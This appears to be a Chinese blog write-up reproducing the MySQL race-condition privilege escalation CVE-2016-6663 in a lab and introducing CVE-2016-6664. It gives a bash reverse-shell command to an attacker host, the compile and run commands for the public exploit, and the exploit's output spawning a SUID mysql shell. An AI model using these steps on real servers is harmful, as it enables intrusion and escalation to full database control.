2016年11月01日,国外安全研究员Dawid Golunski在 MySQl、MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞。该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)的账号提升权限到数据库系统用户权限(通常是mysql用户权限)来执行任意代码,黑客成功利用此漏洞后,可以完全访问数据库。
该漏洞影响的版本如下:
MySQL:
<= 5.5.51
<= 5.6.32
<= 5.7.14
漏洞利用条件:
攻击者已经获取到目标服务器的webshell权限
可以通过反弹shell的方法获得目标主机的交互环境
已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 账户的用户名和密码
目标主机的MySQL版本在漏洞影响范围内
下面我们来复现该漏洞。
实验环境:
目标机IP:192.168.1.10
攻击机IP:192.168.1.7
假设我们已经通过蚁剑获得了目标主机的webshell权限。
首先,我们先下载一个C脚本 mysql-privesc-race.c,通过蚁剑将编译将其上传到目标主机。然后执行如下命令反弹个shell获取目标主机的交互环境:
bash -c "bash -i >& /dev/tcp/192.168.1.7/2333 0>&1"
然后执行如下命令将上传的攻击脚本编译生成我们的exp程序:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
最后,在shell环境中执行的exp程序:
./mysql-privesc-race whoami 123456 localhost whoami_db
whoami:已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 用户名
123456:低权限 MySQL 用户的密码
localhost:数据库地址
whoami_db:属于whoami用户的数据库
执行成功后会获得一个mysql权限,要想提升到系统root权限还需要配合CVE-2016-6664漏洞,大概如下:
www-data@xenial:~/mysql-exploit$ time ./mysql-privesc-race www-data pocsql localhost pocdb MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski [+] Starting the exploit as: uid=33(www-data) gid=33(www-data) groups=33(www-data) [+] Connecting to the database `pocdb` as www-data@localhost [+] Creating exploit temp directory /tmp/mysql_privesc_exploit [+] Creating mysql tables DROP TABLE IF EXISTS exploit_table DROP TABLE IF EXISTS mysql_suid_shell CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' [+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : -rw-rw---- 1 mysql www-data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD [+] Entering the race loop... Hang in there... [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: -rwsrwxrwx 1 mysql www-data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD [+] Spawning the mysql SUID shell now... Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :) mysql_suid_shell.MYD-4.3$ whoami mysql mysql_suid_shell.MYD-4.3$ id uid=33(www-data) gid=33(www-data) euid=102(mysql) groups=33(www-data)但我在本地测试失败了,总是报错说“cp: cannot create regular file '/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD': Permission denied”,有知道原因的大佬还请写在评论里告诉我。
CVE-2016-6664(可将mysql权限提升为root权限)该漏洞可以使mysql用户权限提升为系统root权限。
该漏洞影响的版本如下:
MySQL :
<= 5.5.51
<= 5.6.32
<= 5.7.14
漏洞利用条件:
攻击者已经获取到目标服务器的webshell权限。
可以通过反弹shell的方法获得目标主机的交互环境。
已经通过CVE-2016-6663等方式获取到系统mysql用户权限。
目标主机的MySQL版本在漏洞影响范围内。